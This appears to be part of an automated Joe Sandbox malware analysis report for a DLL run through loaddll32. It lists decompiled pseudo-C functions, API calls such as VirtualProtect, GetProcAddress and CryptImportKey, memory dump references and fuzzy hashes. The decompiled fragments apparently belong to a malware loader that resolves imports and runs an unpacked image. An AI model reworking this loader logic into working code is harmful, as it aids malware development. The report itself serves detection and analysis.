                    • Opcode ID: e74cabf8fcbcc64828e3e484de2d12bc0482c9ea753847f2653128d5ff092ec5
                    • Instruction ID: 8a9804bb3048fba766d1a53e2186011b63057056adc95c4e86ca380387d1280b
                    • Opcode Fuzzy Hash: e74cabf8fcbcc64828e3e484de2d12bc0482c9ea753847f2653128d5ff092ec5
                    • Instruction Fuzzy Hash: 1751C5B5E00149DFCB18CF99D9919EEBBB5FF88304F148119E919A7750D730AA41CFA1
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB742E0 Relevance: 1.6, APIs: 1, Instructions: 51COMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 6CB74380: GetSystemDirectoryA.KERNEL32 ref: 6CB743A6
                      • Part of subcall function 6CB74380: CreateDirectoryA.KERNELBASE(6CBB156C,00000000,?,?,?,?,?,?,6CB74350,6CBB156C,6CB98B6D,000000FF,?), ref: 6CB743B2
                      • Part of subcall function 6CB73B50: GetCommandLineA.KERNEL32 ref: 6CB73B82
                      • Part of subcall function 6CB73B50: task.LIBCPMTD ref: 6CB73BA8
                      • Part of subcall function 6CB73B50: GetCommandLineA.KERNEL32(?,00000000), ref: 6CB73BAD
                      • Part of subcall function 6CB73B50: task.LIBCPMTD ref: 6CB73BD3
                      • Part of subcall function 6CB73B50: GetCommandLineA.KERNEL32(?,00000000), ref: 6CB73C0F
                      • Part of subcall function 6CB73B50: task.LIBCPMTD ref: 6CB73C3E
                      • Part of subcall function 6CB73B50: VirtualAlloc.KERNELBASE(00000000,00000040,00003000,00000040,?,00000000), ref: 6CB73C62
                      • Part of subcall function 6CB73B50: GetCommandLineA.KERNEL32 ref: 6CB73C6B
                      • Part of subcall function 6CB73B50: task.LIBCPMTD ref: 6CB73C9A
                    • task.LIBCPMTD ref: 6CB74366
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task$CommandLine$Directory$AllocCreateSystemVirtual
                    • String ID:
                    • API String ID: 3649612647-0
                    • Opcode ID: 99646b1a77f977fd29fe5d3f4e868cbe6aeda63801095bbce6c354166dbf1cc1
                    • Instruction ID: 116931205ee08402085389c1f5face8dca6ddbda895cf711c46f8e04a21335e1
                    • Opcode Fuzzy Hash: 99646b1a77f977fd29fe5d3f4e868cbe6aeda63801095bbce6c354166dbf1cc1
                    • Instruction Fuzzy Hash: 6C1119B5D00149EFCB04CF98C980BEEB7F9FB48710F104619E929A7790D7346900CBA4
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C2839 Relevance: 1.5, APIs: 1, Instructions: 49COMMON
                    Download Yara Rule
                    C-Code - Quality: 34%
                    			E027C2839(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				char _v20;
				intOrPtr _t15;
				void* _t17;
				intOrPtr _t19;
				void* _t23;

				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x27ca348; // 0x10fd5a8
				_t4 = _t15 + 0x27cb3e8; // 0x38c8990
				_t20 = _t4;
				_t6 = _t15 + 0x27cb174; // 0x650047
				_t17 = E027C790B(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					_t23 = 8;
					if(_v20 != _t23) {
						_t23 = 1;
					} else {
						_t19 = E027C661C(_t20, _v12);
						if(_t19 != 0) {
							 *_a16 = _t19;
							_t23 = 0;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}










                    0x027c2843
                    0x027c284a
                    0x027c284b
                    0x027c284c
                    0x027c284d
                    0x027c2853
                    0x027c2858
                    0x027c2858
                    0x027c2862
                    0x027c2874
                    0x027c287b
                    0x027c28a9
                    0x027c287d
                    0x027c287f
                    0x027c2884
                    0x027c28a6
                    0x027c2886
                    0x027c2889
                    0x027c2890
                    0x027c2895
                    0x027c2897
                    0x027c2897
                    0x027c289c
                    0x027c289c
                    0x027c2884
                    0x027c28b0

                    APIs
                      • Part of subcall function 027C790B: SysFreeString.OLEAUT32(?), ref: 027C79EA
                      • Part of subcall function 027C661C: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,027C4B72,004F0053,00000000,?), ref: 027C6625
                      • Part of subcall function 027C661C: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,027C4B72,004F0053,00000000,?), ref: 027C664F
                      • Part of subcall function 027C661C: memset.NTDLL ref: 027C6663
                    • SysFreeString.OLEAUT32(00000000), ref: 027C289C
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: FreeString$lstrlenmemcpymemset
                    • String ID:
                    • API String ID: 397948122-0
                    • Opcode ID: 90c94162c219aea590ad65ecdbbe0fd6b8822a8eb73e767c1e16a9c76eecf374
                    • Instruction ID: 18e0ba06aa93d0850a41f2594eacf8a3828cd96cd13631ebd0484dab9e8b766e
                    • Opcode Fuzzy Hash: 90c94162c219aea590ad65ecdbbe0fd6b8822a8eb73e767c1e16a9c76eecf374
                    • Instruction Fuzzy Hash: CC019A32904119FFDB42AFB8CC45EAABBB9EB08754B20442DED01B3061E7709921CB90
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB92007 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6CB90F6A,00000001,00000364,00000000,00000008,000000FF,?,?,6CB913CE,6CB9119A), ref: 6CB92048
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: AllocateHeap
                    • String ID:
                    • API String ID: 1279760036-0
                    • Opcode ID: 52fa17094b3b149e7000938ba51f95eb65d4ed08247e6797f40754dbee969910
                    • Instruction ID: 3fb04ae10d07e6ba1b2b1953e207dc468883d13385c8778ea294d8c21626ebd6
                    • Opcode Fuzzy Hash: 52fa17094b3b149e7000938ba51f95eb65d4ed08247e6797f40754dbee969910
                    • Instruction Fuzzy Hash: C1F05431E466A467EB165E678C0CB8F379CEB437A8B154132AD24A7D84CB20D809C6A7
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB8A7A3 Relevance: 1.5, APIs: 1, Instructions: 38COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • stdext::threads::lock_error::lock_error.LIBCPMTD ref: 6CB8AEAC
                      • Part of subcall function 6CB8B501: RaiseException.KERNEL32(E06D7363,00000001,00000003,6CB8AEBF,?,?,?,6CB8AEBF,?,6CBA1D5C), ref: 6CB8B561
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: ExceptionRaisestdext::threads::lock_error::lock_error
                    • String ID:
                    • API String ID: 3447279179-0
                    • Opcode ID: 6ac6d0ef8ffcdcb6ee4f7e78d122c9f42de5824d90906bdcbe9884fe7a2d118f
                    • Instruction ID: d1a2531f81f3a5db8d70e2728601f9f652edeb4ab90b51d56953642260162cab
                    • Opcode Fuzzy Hash: 6ac6d0ef8ffcdcb6ee4f7e78d122c9f42de5824d90906bdcbe9884fe7a2d118f
                    • Instruction Fuzzy Hash: FAF0543C80628DF68F00AAB4EC589DD777CDB10268B604521E92495DD0EF70E65A89D6
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB71A00 Relevance: 1.5, APIs: 1, Instructions: 36COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • Concurrency::cancel_current_task.LIBCPMTD ref: 6CB71A17
                      • Part of subcall function 6CB72E80: stdext::threads::lock_error::lock_error.LIBCPMTD ref: 6CB72E89
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: Concurrency::cancel_current_taskstdext::threads::lock_error::lock_error
                    • String ID:
                    • API String ID: 2103942186-0
                    • Opcode ID: 2c9e10b1be713a75c81bd9515c596e2b72a0d55a8356f11a93e81a336d7a6c16
                    • Instruction ID: 9577b871171201197bbf8a7f11bbfc8dfb710c6f0ac08566b15607fe785e07af
                    • Opcode Fuzzy Hash: 2c9e10b1be713a75c81bd9515c596e2b72a0d55a8356f11a93e81a336d7a6c16
                    • Instruction Fuzzy Hash: C1F03C75D0518CEBCF14DFA8D49069DB7B1EF44208F1481A9DC29A7744E330AB40CBA6
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB91157 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • RtlAllocateHeap.NTDLL(00000000,00000000,?,?,6CB8A7BD,00000000,?,6CB72A0C,00000000,?,6CB719F5,00000000), ref: 6CB91189
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: AllocateHeap
                    • String ID:
                    • API String ID: 1279760036-0
                    • Opcode ID: e6af157f0db6e57746a6c3a37669c1046974e3b2db0fa2b80e93b8a26f52521b
                    • Instruction ID: ead5f5c87041fc597f6e2fd792f236a50ba239209a38afff37052142dedea351
                    • Opcode Fuzzy Hash: e6af157f0db6e57746a6c3a37669c1046974e3b2db0fa2b80e93b8a26f52521b
                    • Instruction Fuzzy Hash: B3E065316C62B4B6EB111AAA9C0479B367CDF436E8F1D4171DC24A6D90DB20C80156A6
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00E51E4A Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                    Download Yara Rule
                    C-Code - Quality: 37%
                    			E00E51E4A(void* __eax, intOrPtr _a4) {

				 *0xe541d0 =  *0xe541d0 & 0x00000000;
				_push(0);
				_push(0xe541cc);
				_push(1);
				_push(_a4);
				 *0xe541c8 = 0xc; // executed
				L00E5215E(); // executed
				return __eax;
			}



                    0x00e51e4a
                    0x00e51e51
                    0x00e51e53
                    0x00e51e58
                    0x00e51e5a
                    0x00e51e5e
                    0x00e51e68
                    0x00e51e6d

                    APIs
                    • ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(00E520D1,00000001,00E541CC,00000000), ref: 00E51E68
                    Memory Dump Source
                    • Source File: 00000000.00000002.637417203.0000000000E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E50000, based on PE: true
                    • Associated: 00000000.00000002.637417203.0000000000E55000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_e50000_loaddll32.jbxd
                    Similarity
                    • API ID: DescriptorSecurity$ConvertString
                    • String ID:
                    • API String ID: 3907675253-0
                    • Opcode ID: af2c64f131f8893c96f6b4017bfda14e9b80467eefaa0612d44c23a8007958b6
                    • Instruction ID: f87a6d916c251e8a720e77bfc5939f15a7871442dce96d839e1464ef5094b014
                    • Opcode Fuzzy Hash: af2c64f131f8893c96f6b4017bfda14e9b80467eefaa0612d44c23a8007958b6
                    • Instruction Fuzzy Hash: 26C04CF4242B11AAE724AF51DE46F067AA17761B0FF501E08FB40341D187F710DC8919
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00E52046 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00E52046(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0xe54190, 0, _a4); // executed
				return _t2;
			}




                    0x00e52052
                    0x00e52058

                    APIs
                    • RtlAllocateHeap.NTDLL(00000000,?,00E5124D,00000030,74CB63F0,00000000), ref: 00E52052
                    Memory Dump Source
                    • Source File: 00000000.00000002.637417203.0000000000E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E50000, based on PE: true
                    • Associated: 00000000.00000002.637417203.0000000000E55000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_e50000_loaddll32.jbxd
                    Similarity
                    • API ID: AllocateHeap
                    • String ID:
                    • API String ID: 1279760036-0
                    • Opcode ID: ff303d9b142ad6229de728faaef73b40dbb92a2e186efae2a736dc678ef39d24
                    • Instruction ID: e6d201006a224e8a8d64dc45b2b16ab04547936d2a6c9c24bb224540fb9e2614
                    • Opcode Fuzzy Hash: ff303d9b142ad6229de728faaef73b40dbb92a2e186efae2a736dc678ef39d24
                    • Instruction Fuzzy Hash: 0AB012B1100300AFCA054B22EF04F05BF22B760702F004810F308200F083311478EB04
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00E51CD6 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00E51CD6(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0xe54190, 0, _a4); // executed
				return _t2;
			}




                    0x00e51ce2
                    0x00e51ce8

                    APIs
                    • RtlFreeHeap.NTDLL(00000000,00000030,00E51C29,00000000,00000030,00000000,00000000,00000030,?,?,?,?,?,00E5129B), ref: 00E51CE2
                    Memory Dump Source
                    • Source File: 00000000.00000002.637417203.0000000000E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E50000, based on PE: true
                    • Associated: 00000000.00000002.637417203.0000000000E55000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_e50000_loaddll32.jbxd
                    Similarity
                    • API ID: FreeHeap
                    • String ID:
                    • API String ID: 3298025750-0
                    • Opcode ID: a6054466d6015f1a5437abdeaf80bdcb85b30b050d4c5a7270b5a6eea0f069b7
                    • Instruction ID: 183c7abfecbb0ea92ce8f4b2bab662aae62f25f3bf98e3116ea0517b6c1fb28a
                    • Opcode Fuzzy Hash: a6054466d6015f1a5437abdeaf80bdcb85b30b050d4c5a7270b5a6eea0f069b7
                    • Instruction Fuzzy Hash: FFB01271000300EFCA158B21EE04F057E23B760702F008810F304200F082318464FB14
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C61DA Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E027C61DA(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0x27ca2d8, 0, _a4); // executed
				return _t2;
			}




                    0x027c61e6
                    0x027c61ec

                    APIs
                    • RtlFreeHeap.NTDLL(00000000,00000000,027C6383,00000000,?,00000000,00000000), ref: 027C61E6
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: FreeHeap
                    • String ID:
                    • API String ID: 3298025750-0
                    • Opcode ID: 8838f6aec7c9ab4cb26b068f53c8996cbc2626eb1c194e1a8abd5b13b1824deb
                    • Instruction ID: 7f4d6af499632d25acb228b304f9b41dcf64408daa21ef22b7be92103658c7c1
                    • Opcode Fuzzy Hash: 8838f6aec7c9ab4cb26b068f53c8996cbc2626eb1c194e1a8abd5b13b1824deb
                    • Instruction Fuzzy Hash: 0AB01272D80200EBCB114F20DE08F067A21E790701F30C818B3050007482320470FB15
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00E5166A Relevance: 1.3, APIs: 1, Instructions: 70COMMON
                    Download Yara Rule
                    C-Code - Quality: 85%
                    			E00E5166A(void* __eax) {
				char _v8;
				void* _v12;
				void* __edi;
				void* _t18;
				long _t26;
				long _t29;
				intOrPtr _t40;
				void* _t41;
				void* _t42;
				void* _t44;

				_t41 = __eax;
				_t16 =  *0xe541c0;
				_t33 =  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0xe541c0 - 0x43174ac4 &  !( *0xe541c0 - 0x43174ac4);
				_t18 = E00E51142( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0xe541c0 - 0x43174ac4 &  !( *0xe541c0 - 0x43174ac4),  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0xe541c0 - 0x43174ac4 &  !( *0xe541c0 - 0x43174ac4), _t16 + 0xbce8a57d,  &_v8,  &_v12); // executed
				if(_t18 != 0) {
					_t29 = 8;
					goto L8;
				} else {
					_t40 = _v8;
					_t29 = E00E51C51(_t33, _t40, _t41);
					if(_t29 == 0) {
						_t44 =  *((intOrPtr*)(_t40 + 0x3c)) + _t40;
						_t29 = E00E51CEB(_t40, _t44);
						if(_t29 == 0) {
							_t26 = E00E5170E(_t44, _t40); // executed
							_t29 = _t26;
							if(_t29 == 0) {
								_push(_t26);
								_push(1);
								_push(_t40);
								if( *((intOrPtr*)( *((intOrPtr*)(_t44 + 0x28)) + _t40))() == 0) {
									_t29 = GetLastError();
								}
							}
						}
					}
					_t42 = _v12;
					 *((intOrPtr*)(_t42 + 0x18))( *((intOrPtr*)(_t42 + 0x1c))( *_t42));
					E00E51CD6(_t42);
					L8:
					return _t29;
				}
			}













                    0x00e51672
                    0x00e51674
                    0x00e51690
                    0x00e516a1
                    0x00e516a8
                    0x00e51706
                    0x00000000
                    0x00e516aa
                    0x00e516aa
                    0x00e516b4
                    0x00e516b8
                    0x00e516bd
                    0x00e516c5
                    0x00e516c9
                    0x00e516ce
                    0x00e516d3
                    0x00e516d7
                    0x00e516dc
                    0x00e516dd
                    0x00e516e1
                    0x00e516e6
                    0x00e516ee
                    0x00e516ee
                    0x00e516e6
                    0x00e516d7
                    0x00e516c9
                    0x00e516f0
                    0x00e516f9
                    0x00e516fd
                    0x00e51707
                    0x00e5170d
                    0x00e5170d

                    APIs
                      • Part of subcall function 00E51142: GetModuleHandleA.KERNEL32(?,00000020), ref: 00E51166
                      • Part of subcall function 00E51142: GetProcAddress.KERNEL32(00000000,?), ref: 00E51188
                      • Part of subcall function 00E51142: GetProcAddress.KERNEL32(00000000,?), ref: 00E5119E
                      • Part of subcall function 00E51142: GetProcAddress.KERNEL32(00000000,?), ref: 00E511B4
                      • Part of subcall function 00E51142: GetProcAddress.KERNEL32(00000000,?), ref: 00E511CA
                      • Part of subcall function 00E51142: GetProcAddress.KERNEL32(00000000,?), ref: 00E511E0
                      • Part of subcall function 00E51CEB: LoadLibraryA.KERNEL32(?,?,00000000,?,?), ref: 00E51D23
                      • Part of subcall function 00E5170E: VirtualProtect.KERNELBASE(00000000,?,?,?,?,?,00000000), ref: 00E51747
                      • Part of subcall function 00E5170E: VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 00E517BC
                      • Part of subcall function 00E5170E: GetLastError.KERNEL32 ref: 00E517C2
                    • GetLastError.KERNEL32 ref: 00E516E8
                    Memory Dump Source
                    • Source File: 00000000.00000002.637417203.0000000000E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E50000, based on PE: true
                    • Associated: 00000000.00000002.637417203.0000000000E55000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_e50000_loaddll32.jbxd
                    Similarity
                    • API ID: AddressProc$ErrorLastProtectVirtual$HandleLibraryLoadModule
                    • String ID:
                    • API String ID: 3135819546-0
                    • Opcode ID: e4997fc2f80e373a85a0ce77b96d348e4737df6b4bcc6fa42f845a2388b4c309
                    • Instruction ID: 3828a92e6e25b9ab9db969847d3baab80330453dc46f67879493d4dc9dfbe89d
                    • Opcode Fuzzy Hash: e4997fc2f80e373a85a0ce77b96d348e4737df6b4bcc6fa42f845a2388b4c309
                    • Instruction Fuzzy Hash: 45110B766007116BC721ABA98C84FAB77BDBF883167041999FD02B7141EAA1ED098B90
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C33F1 Relevance: 1.3, APIs: 1, Instructions: 43memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E027C33F1(intOrPtr* __edi, void* _a4, intOrPtr _a8, unsigned int _a12) {
				void* _t21;
				void* _t22;
				signed int _t24;
				intOrPtr* _t26;
				void* _t27;

				_t26 = __edi;
				if(_a4 == 0) {
					L2:
					_t27 = E027C58BD(_a4, 0x80000002, _a8, _a12,  &_a4,  &_a12);
					if(_t27 == 0) {
						_t24 = _a12 >> 1;
						if(_t24 == 0) {
							_t27 = 2;
							HeapFree( *0x27ca2d8, 0, _a4);
						} else {
							_t21 = _a4;
							 *((short*)(_t21 + _t24 * 2 - 2)) = 0;
							 *_t26 = _t21;
						}
					}
					L6:
					return _t27;
				}
				_t22 = E027C2839(_a4, _a8, _a12, __edi); // executed
				_t27 = _t22;
				if(_t27 == 0) {
					goto L6;
				}
				goto L2;
			}








                    0x027c33f1
                    0x027c33f9
                    0x027c3410
                    0x027c342b
                    0x027c342f
                    0x027c3434
                    0x027c3436
                    0x027c3448
                    0x027c3454
                    0x027c3438
                    0x027c3438
                    0x027c343d
                    0x027c3442
                    0x027c3442
                    0x027c3436
                    0x027c345a
                    0x027c345e
                    0x027c345e
                    0x027c3405
                    0x027c340a
                    0x027c340e
                    0x00000000
                    0x00000000
                    0x00000000

                    APIs
                      • Part of subcall function 027C2839: SysFreeString.OLEAUT32(00000000), ref: 027C289C
                    • HeapFree.KERNEL32(00000000,00000000,00000000,80000002,74D0F710,?,00000000,?,00000000,?,027C528E,?,004F0053,038C9218,00000000,?), ref: 027C3454
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: Free$HeapString
                    • String ID:
                    • API String ID: 3806048269-0
                    • Opcode ID: 913ee7b040a24232ebeb4baf1bb3d5aedf7f97d06354586ab2085455bf28404a
                    • Instruction ID: 595398de0aa04f2edab597b958a981cfaab21030d0fadc7c4cef243923ab039d
                    • Opcode Fuzzy Hash: 913ee7b040a24232ebeb4baf1bb3d5aedf7f97d06354586ab2085455bf28404a
                    • Instruction Fuzzy Hash: DA012832900619BBDB239F64CC05FEA3BA5EF04751F24C46DFE099A120D7319A60DB90
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C5063 Relevance: 1.3, APIs: 1, Instructions: 36stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 75%
                    			E027C5063(void* __ecx, void* __edx, void* _a4, void* _a8) {
				void* _t13;
				void* _t21;

				_t11 =  &_a4;
				_t21 = 0;
				__imp__( &_a8);
				_t13 = E027C1508( &_a4 + 1, 1, _a8, _a4, _a4, _t11); // executed
				if(_t13 == 0) {
					_t21 = E027C33DC(_a8 + _a8);
					if(_t21 != 0) {
						E027C22EA(_a4, _t21, _t23);
					}
					E027C61DA(_a4);
				}
				return _t21;
			}





                    0x027c506b
                    0x027c5072
                    0x027c5074
                    0x027c5083
                    0x027c508a
                    0x027c5099
                    0x027c509d
                    0x027c50a4
                    0x027c50a4
                    0x027c50ac
                    0x027c50b1
                    0x027c50b6

                    APIs
                    • lstrlen.KERNEL32(00000000,00000000,027C3ECE,00000000,?,027C66D9,00000000,027C3ECE,?,7491C740,027C3ECE,00000000,038C9600), ref: 027C5074
                      • Part of subcall function 027C1508: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000018,F0000000,00000000,00000000,00000000,?,?,?,027C5088,00000001,027C3ECE,00000000), ref: 027C1540
                      • Part of subcall function 027C1508: memcpy.NTDLL(027C5088,027C3ECE,00000010,?,?,?,027C5088,00000001,027C3ECE,00000000,?,027C66D9,00000000,027C3ECE,?,7491C740), ref: 027C1559
                      • Part of subcall function 027C1508: CryptImportKey.ADVAPI32(?,?,0000001C,00000000,00000000,00000000), ref: 027C1582
                      • Part of subcall function 027C1508: CryptSetKeyParam.ADVAPI32(00000000,00000001,?,00000000), ref: 027C159A
                      • Part of subcall function 027C1508: memcpy.NTDLL(00000000,7491C740,038C9600,00000010), ref: 027C15EC
                      • Part of subcall function 027C33DC: RtlAllocateHeap.NTDLL(00000000,00000000,027C62F6), ref: 027C33E8
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
